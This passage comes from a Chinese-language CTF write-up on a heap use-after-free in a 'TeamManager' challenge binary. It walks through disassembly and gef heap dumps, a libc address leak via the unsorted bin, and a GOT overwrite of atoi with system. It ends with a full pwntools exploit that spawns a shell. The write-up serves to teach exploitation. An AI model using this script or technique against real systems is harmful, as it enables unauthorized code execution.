| 0x00401d3a 488b052f1420. mov rax, qword [obj.selected] ; [0x603170:8]=0
| 0x00401d41 488b4010 mov rax, qword [rax + 0x10] ; [0x10:8]=-1 ; 16
| 0x00401d45 4889c7 mov rdi, rax
| 0x00401d48 e853efffff call sym.imp.strlen ; size_t strlen(const char *s)
| 0x00401d4d 4839c3 cmp rbx, rax
| ,=< 0x00401d50 7667 jbe 0x401db9 ; rab == rax成功跳转
| | 0x00401d52 488d85e0feff. lea rax, rbp - 0x120
| | 0x00401d59 4889c7 mov rdi, rax
| | 0x00401d5c e83fefffff call sym.imp.strlen ; size_t strlen(const char *s)
| | 0x00401d61 488d5001 lea rdx, rax + 1 ; 1
| | 0x00401d65 488b05041420. mov rax, qword [obj.selected] ; [0x603170:8]=0
| | 0x00401d6c 488b4010 mov rax, qword [rax + 0x10] ; [0x10:8]=-1 ; 16
| | 0x00401d70 4889d6 mov rsi, rdx
| | 0x00401d73 4889c7 mov rdi, rax
| | 0x00401d76 e865f0ffff call sym.imp.realloc ; void *realloc(void *ptr, size_t size)
| | 0x00401d7b 488985d8feff. mov qword [local_128h], rax
| | 0x00401d82 4883bdd8feff. cmp qword [local_128h], 0
| ,==< 0x00401d8a 751b jne 0x401da7
| || 0x00401d8c bf7a254000 mov edi, str.Could_not_realloc_: ; 0x40257a ; "Could not realloc :("
| || 0x00401d91 e8eaeeffff call sym.imp.puts ; int puts(const char *s)
| || 0x00401d96 488b05c31320. mov rax, qword [obj.stdout] ; [0x603160:8]=0
| || 0x00401d9d 4889c7 mov rdi, rax
| || 0x00401da0 e81bf0ffff call sym.imp.fflush ; int fflush(FILE *stream)
| ,===< 0x00401da5 eb2f jmp 0x401dd6
| ||| ; JMP XREF from 0x00401d8a (sym.set_name)
| |`--> 0x00401da7 488b05c21320. mov rax, qword [obj.selected] ; [0x603170:8]=0
| | | 0x00401dae 488b95d8feff. mov rdx, qword [local_128h]
| | | 0x00401db5 48895010 mov qword [rax + 0x10], rdx
| | | ; JMP XREF from 0x00401d50 (sym.set_name)
| | `-> 0x00401db9 488b05b01320. mov rax, qword [obj.selected] ; [0x603170:8]=0 ; 取出选中球员的地址
| | 0x00401dc0 488b4010 mov rax, qword [rax + 0x10] ; [0x10:8]=-1 ; 16 ; player.name 字段,即 atoi@got
| | 0x00401dc4 488d95e0feff. lea rdx, rbp - 0x120 ; system@got
| | 0x00401dcb 4889d6 mov rsi, rdx ; rsi <- rdx
| | 0x00401dce 4889c7 mov rdi, rax ; rdi <- rax
| | 0x00401dd1 e89aeeffff call sym.imp.strcpy ; char *strcpy(char *dest, const char *src) ; 用 system 的地址覆盖 atoi 的地址
| | ; JMP XREF from 0x00401da5 (sym.set_name)
| `---> 0x00401dd6 488b45e8 mov rax, qword [local_18h]
| 0x00401dda 644833042528. xor rax, qword fs:[0x28]
| ,=< 0x00401de3 7405 je 0x401dea
| | 0x00401de5 e8d6eeffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
| | ; JMP XREF from 0x00401de3 (sym.set_name)
| `-> 0x00401dea 4881c4280100. add rsp, 0x128
| 0x00401df1 5b pop rbx
| 0x00401df2 5d pop rbp
\ 0x00401df3 c3 ret
```
### 动态分析
漏洞大概清楚了,我们使用 gdb 动态调试一下,为了方便分析,先关闭 ASRL。gef 有个很强大的命令 `heap-analysis-helper`,可以追踪 `malloc()`、`free()`、`realloc()` 等函数的调用:
```text
gef➤ heap-analysis-helper
[*] This feature is under development, expect bugs and unstability...
[+] Tracking malloc()
[+] Tracking free()
[+] Tracking realloc()
[+] Disabling hardware watchpoints (this may increase the latency)
[+] Dynamic breakpoints correctly setup, GEF will break execution if a possible vulnerabity is found.
[*] Note: The heap analysis slows down noticeably the execution.
gef➤ c
Continuing.
Welcome to your TeamManager (TM)!
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice: 1
Found free slot: 0
[+] Heap-Analysis - malloc(24)=0x604010
Enter player name: aaaa
[+] Heap-Analysis - malloc(5)=0x604030
Enter attack points: 1
Enter defense points: 2
Enter speed: 3
Enter precision: 4
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice: 2
Enter index: 0
[+] Heap-Analysis - free(0x604030)
[+] Heap-Analysis - watching 0x604030
[+] Heap-Analysis - free(0x604010)
[+] Heap-Analysis - watching 0x604010
She's gone!
```
很好地验证了球员分配和删除的过程。
## 漏洞利用
### alloc and select
然后是内存,根据我们对堆管理机制的理解,这里选择使用 small chunk球员 name chunk
```python
alloc('A' * 0x60)
alloc('B' * 0x80)
alloc('C' * 0x80)
select(1)
```
```text
gef➤ x/4gx 0x603180
0x603180 <players>: 0x0000000000604010 0x00000000006040a0
0x603190 <players+16>: 0x0000000000604150 0x0000000000000000
gef➤ x/70gx 0x604010-0x10
0x604000: 0x0000000000000000 0x0000000000000021 <-- player 0 <-- actual player chunk
0x604010: 0x0000000200000001 0x0000000400000003 <-- pointer returned by malloc
0x604020: 0x0000000000604030 0x0000000000000071 <-- name 0 <-- player's name chunk
0x604030: 0x4141414141414141 0x4141414141414141
0x604040: 0x4141414141414141 0x4141414141414141
0x604050: 0x4141414141414141 0x4141414141414141
0x604060: 0x4141414141414141 0x4141414141414141
0x604070: 0x4141414141414141 0x4141414141414141
0x604080: 0x4141414141414141 0x4141414141414141
0x604090: 0x0000000000000000 0x0000000000000021 <-- player 1
0x6040a0: 0x0000000200000001 0x0000000400000003 <-- selected
0x6040b0: 0x00000000006040c0 0x0000000000000091 <-- name 1
0x6040c0: 0x4242424242424242 0x4242424242424242
0x6040d0: 0x4242424242424242 0x4242424242424242
0x6040e0: 0x4242424242424242 0x4242424242424242
0x6040f0: 0x4242424242424242 0x4242424242424242
0x604100: 0x4242424242424242 0x4242424242424242
0x604110: 0x4242424242424242 0x4242424242424242
0x604120: 0x4242424242424242 0x4242424242424242
0x604130: 0x4242424242424242 0x4242424242424242
0x604140: 0x0000000000000000 0x0000000000000021 <-- player 2
0x604150: 0x0000000200000001 0x0000000400000003
0x604160: 0x0000000000604170 0x0000000000000091 <-- name 2
0x604170: 0x4343434343434343 0x4343434343434343
0x604180: 0x4343434343434343 0x4343434343434343
0x604190: 0x4343434343434343 0x4343434343434343
0x6041a0: 0x4343434343434343 0x4343434343434343
0x6041b0: 0x4343434343434343 0x4343434343434343
0x6041c0: 0x4343434343434343 0x4343434343434343
0x6041d0: 0x4343434343434343 0x4343434343434343
0x6041e0: 0x4343434343434343 0x4343434343434343
0x6041f0: 0x0000000000000000 0x0000000000020e11 <-- top chunk
0x604200: 0x0000000000000000 0x0000000000000000
0x604210: 0x0000000000000000 0x0000000000000000
0x604220: 0x0000000000000000 0x0000000000000000
gef➤ p selected
$2 = 0x6040a0
```
### free
然后:
```python
free(1)
```
```text
gef➤ x/4gx 0x603180
0x603180 <players>: 0x0000000000604010 0x0000000000000000 <-- set zero
0x603190 <players+16>: 0x0000000000604150 0x0000000000000000
gef➤ x/70gx 0x604010-0x10
0x604000: 0x0000000000000000 0x0000000000000021 <-- player 0
0x604010: 0x0000000200000001 0x0000000400000003
0x604020: 0x0000000000604030 0x0000000000000071 <-- name 0
0x604030: 0x4141414141414141 0x4141414141414141
0x604040: 0x4141414141414141 0x4141414141414141
0x604050: 0x4141414141414141 0x4141414141414141
0x604060: 0x4141414141414141 0x4141414141414141
0x604070: 0x4141414141414141 0x4141414141414141
0x604080: 0x4141414141414141 0x4141414141414141
0x604090: 0x0000000000000000 0x0000000000000021 <-- player 1 [be freed] <-- fastbins
0x6040a0: 0x0000000000000000 0x0000000400000003 <-- selected
0x6040b0: 0x00000000006040c0 0x0000000000000091 <-- name 1 [be freed] <-- unsorted_bin
0x6040c0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd | bk
0x6040d0: 0x4242424242424242 0x4242424242424242
0x6040e0: 0x4242424242424242 0x4242424242424242
0x6040f0: 0x4242424242424242 0x4242424242424242
0x604100: 0x4242424242424242 0x4242424242424242
0x604110: 0x4242424242424242 0x4242424242424242
0x604120: 0x4242424242424242 0x4242424242424242
0x604130: 0x4242424242424242 0x4242424242424242
0x604140: 0x0000000000000090 0x0000000000000020 <-- player 2
0x604150: 0x0000000200000001 0x0000000400000003
0x604160: 0x0000000000604170 0x0000000000000091 <-- name 2
0x604170: 0x4343434343434343 0x4343434343434343
0x604180: 0x4343434343434343 0x4343434343434343
0x604190: 0x4343434343434343 0x4343434343434343
0x6041a0: 0x4343434343434343 0x4343434343434343
0x6041b0: 0x4343434343434343 0x4343434343434343
0x6041c0: 0x4343434343434343 0x4343434343434343
0x6041d0: 0x4343434343434343 0x4343434343434343
0x6041e0: 0x4343434343434343 0x4343434343434343
0x6041f0: 0x0000000000000000 0x0000000000020e11 <-- top chunk
0x604200: 0x0000000000000000 0x0000000000000000
0x604210: 0x0000000000000000 0x0000000000000000
0x604220: 0x0000000000000000 0x0000000000000000
gef➤ p selected
$3 = 0x6040a0
gef➤ heap bins
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x6040a0, size=0x20, flags=PREV_INUSE)
gef➤ heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x6040b0, bk=0x6040b0
→ Chunk(addr=0x6040c0, size=0x90, flags=PREV_INUSE)
```
我们知道,当一个 small chunk 被释放后,会被放到 unsorted bin 中,这是一个双向链表,它的 fd 指针指向了链表的头部,即地址 `0x00007ffff7dd1b78`。然后使用命令 `vmmap` 获得 libc 被加载的地址,用链表头部地址减掉它,得到偏移。当开启 ASLR 后,其地址会变,但偏移不变。同时,释放的 player 1 chunk 被加入到 fastbins 单链表中。
```text
[0x00400ec0]> ?v 0x00007ffff7dd1b78 - 0x00007ffff7a0d000
0x3c4b78
```
再次 free将 player 2 释放,因为 player 1 也是被释放的状态,所以两个 chunk 会被合并(其实 player 是 fast chunk不会被合并真正合并的是 name chunk
```python
free(2)
```
```text
gef➤ x/4gx 0x603180
0x603180 <players>: 0x0000000000604010 0x0000000000000000
0x603190 <players+16>: 0x0000000000000000 0x0000000000000000
gef➤ x/70gx 0x604010-0x10
0x604000: 0x0000000000000000 0x0000000000000021 <-- player 0
0x604010: 0x0000000200000001 0x0000000400000003
0x604020: 0x0000000000604030 0x0000000000000071 <-- name 0
0x604030: 0x4141414141414141 0x4141414141414141
0x604040: 0x4141414141414141 0x4141414141414141
0x604050: 0x4141414141414141 0x4141414141414141
0x604060: 0x4141414141414141 0x4141414141414141
0x604070: 0x4141414141414141 0x4141414141414141
0x604080: 0x4141414141414141 0x4141414141414141
0x604090: 0x0000000000000000 0x00000000000000b1 <-- player 1 [be freed] <-- unsorted_bin
0x6040a0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- selected
0x6040b0: 0x00000000006040c0 0x0000000000000091 <-- player 2 [be freed]
0x6040c0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x6040d0: 0x4242424242424242 0x4242424242424242
0x6040e0: 0x4242424242424242 0x4242424242424242
0x6040f0: 0x4242424242424242 0x4242424242424242
0x604100: 0x4242424242424242 0x4242424242424242
0x604110: 0x4242424242424242 0x4242424242424242
0x604120: 0x4242424242424242 0x4242424242424242
0x604130: 0x4242424242424242 0x4242424242424242
0x604140: 0x00000000000000b0 0x0000000000000020 <-- fastbins
0x604150: 0x0000000000000000 0x0000000400000003
0x604160: 0x0000000000604170 0x0000000000020ea1
0x604170: 0x4343434343434343 0x4343434343434343
0x604180: 0x4343434343434343 0x4343434343434343
0x604190: 0x4343434343434343 0x4343434343434343
0x6041a0: 0x4343434343434343 0x4343434343434343
0x6041b0: 0x4343434343434343 0x4343434343434343
0x6041c0: 0x4343434343434343 0x4343434343434343
0x6041d0: 0x4343434343434343 0x4343434343434343
0x6041e0: 0x4343434343434343 0x4343434343434343
0x6041f0: 0x0000000000000000 0x0000000000020e11 <-- top chunk
0x604200: 0x0000000000000000 0x0000000000000000
0x604210: 0x0000000000000000 0x0000000000000000
0x604220: 0x0000000000000000 0x0000000000000000
gef➤ p selected
$4 = 0x6040a0
gef➤ heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x604150, size=0x20, flags=)
gef➤ heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x604090, bk=0x604090
→ Chunk(addr=0x6040a0, size=0xb0, flags=PREV_INUSE)
```
### alloc again
添加一个球员player chunk 将从 fastbins 链表中取出,而 name chunk 将从 unsorted_bin 中取出:
```python
alloc('D'*16 + p64(atoi_got))
```
```text
gef➤ x/4gx 0x603180
0x603180 <players>: 0x0000000000604010 0x0000000000604150
0x603190 <players+16>: 0x0000000000000000 0x0000000000000000
gef➤ x/70gx 0x604010-0x10
0x604000: 0x0000000000000000 0x0000000000000021 <-- player 0
0x604010: 0x0000000200000001 0x0000000400000003
0x604020: 0x0000000000604030 0x0000000000000071 <-- name 0
0x604030: 0x4141414141414141 0x4141414141414141
0x604040: 0x4141414141414141 0x4141414141414141
0x604050: 0x4141414141414141 0x4141414141414141
0x604060: 0x4141414141414141 0x4141414141414141
0x604070: 0x4141414141414141 0x4141414141414141
0x604080: 0x4141414141414141 0x4141414141414141
0x604090: 0x0000000000000000 0x0000000000000021 <-- name 3
0x6040a0: 0x4444444444444444 0x4444444444444444 <-- selected
0x6040b0: 0x0000000000603110 0x0000000000000091 <-- unsorted_bin
0x6040c0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x6040d0: 0x4242424242424242 0x4242424242424242
0x6040e0: 0x4242424242424242 0x4242424242424242
0x6040f0: 0x4242424242424242 0x4242424242424242
0x604100: 0x4242424242424242 0x4242424242424242
0x604110: 0x4242424242424242 0x4242424242424242
0x604120: 0x4242424242424242 0x4242424242424242
0x604130: 0x4242424242424242 0x4242424242424242
0x604140: 0x0000000000000090 0x0000000000000020 <-- player 3
0x604150: 0x0000000200000001 0x0000000400000003
0x604160: 0x00000000006040a0 0x0000000000020ea1
0x604170: 0x4343434343434343 0x4343434343434343
0x604180: 0x4343434343434343 0x4343434343434343
0x604190: 0x4343434343434343 0x4343434343434343
0x6041a0: 0x4343434343434343 0x4343434343434343
0x6041b0: 0x4343434343434343 0x4343434343434343
0x6041c0: 0x4343434343434343 0x4343434343434343
0x6041d0: 0x4343434343434343 0x4343434343434343
0x6041e0: 0x4343434343434343 0x4343434343434343
0x6041f0: 0x0000000000000000 0x0000000000020e11 <-- top chunk
0x604200: 0x0000000000000000 0x0000000000000000
0x604210: 0x0000000000000000 0x0000000000000000
0x604220: 0x0000000000000000 0x0000000000000000
gef➤ p selected
$5 = 0x6040a0
gef➤ heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x6040b0, bk=0x6040b0
→ Chunk(addr=0x6040c0, size=0x90, flags=PREV_INUSE)
```
### edit and get shell
编辑 selected 处的 chunck即 name 3
```python
# atoi@got -> system@got
edit(p64(system))
# get shell
p.recvuntil('choice: ')
p.sendline('sh')
```
函数 atoi@got 已经被我们覆盖为 system@got当调用 atoi 时,实际上是执行了 system('sh')
```text
gef➤ p atoi
$2 = {int (const char *)} 0x7ffff7a43e80 <atoi>
gef➤ x/gx 0x603110
0x603110: 0x00007ffff7a52390
```
到这里,我们可以重新启用 ASLR 了,该保护机制已经被绕过。
Bingo!!!
```text
$ python exp.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] leak => 0x7fcd41824b78
[*] libc => 0x7fcd41460000
[*] system => 0x7fcd414a5390
[*] Switching to interactive mode
$ whoami
firmy
```
### exploit
完整的 exp 如下:
```python
from pwn import *
# context.log_level = 'debug'
p = remote('127.0.0.1', 10001)
# p = process('./main.elf')
def alloc(name, attack = 1, defense = 2, speed = 3, precision = 4):
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('name: ')
p.sendline(name)
p.recvuntil('points: ')
p.sendline(str(attack))
p.recvuntil('points: ')
p.sendline(str(defense))
p.recvuntil('speed: ')
p.sendline(str(speed))
p.recvuntil('precision: ')
p.sendline(str(precision))
def free(idx):
p.recvuntil('choice: ')
p.sendline('2')
p.recvuntil('index: ')
p.sendline(str(idx))
def select(idx):
p.recvuntil('choice: ')
p.sendline('3')
p.recvuntil('index: ')
p.sendline(str(idx))
def edit(name):
p.recvuntil('choice: ')
p.sendline('4')
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('name: ')
p.sendline(name)
def show():
p.recvuntil('choice: ')
p.sendline('5')
# gdb.attach(p, '''
# b *0x00402205
# c
# ''')
atoi_got = 0x603110
alloc('A' * 0x60)
alloc('B' * 0x80)
alloc('C' * 0x80)
select(1)
free(1)
show()
p.recvuntil('Name: ')
leak = u64(p.recv(6).ljust(8, '\x00'))
libc = leak - 0x3c4b78 # 0x3c4b78 = leak - libc
system = libc + 0x045390 # $ readelf -s libc-2.23.so | grep system@
log.info("leak => 0x%x" % leak)
log.info("libc => 0x%x" % libc)
log.info("system => 0x%x" % system)
free(2)
alloc('D'*16 + p64(atoi_got))
# atoi@got -> system@got
edit(p64(system))
# get shell
p.recvuntil('choice: ')
p.sendline('sh')
p.interactive()
```
## 参考资料
- <https://ctftime.org/task/4528>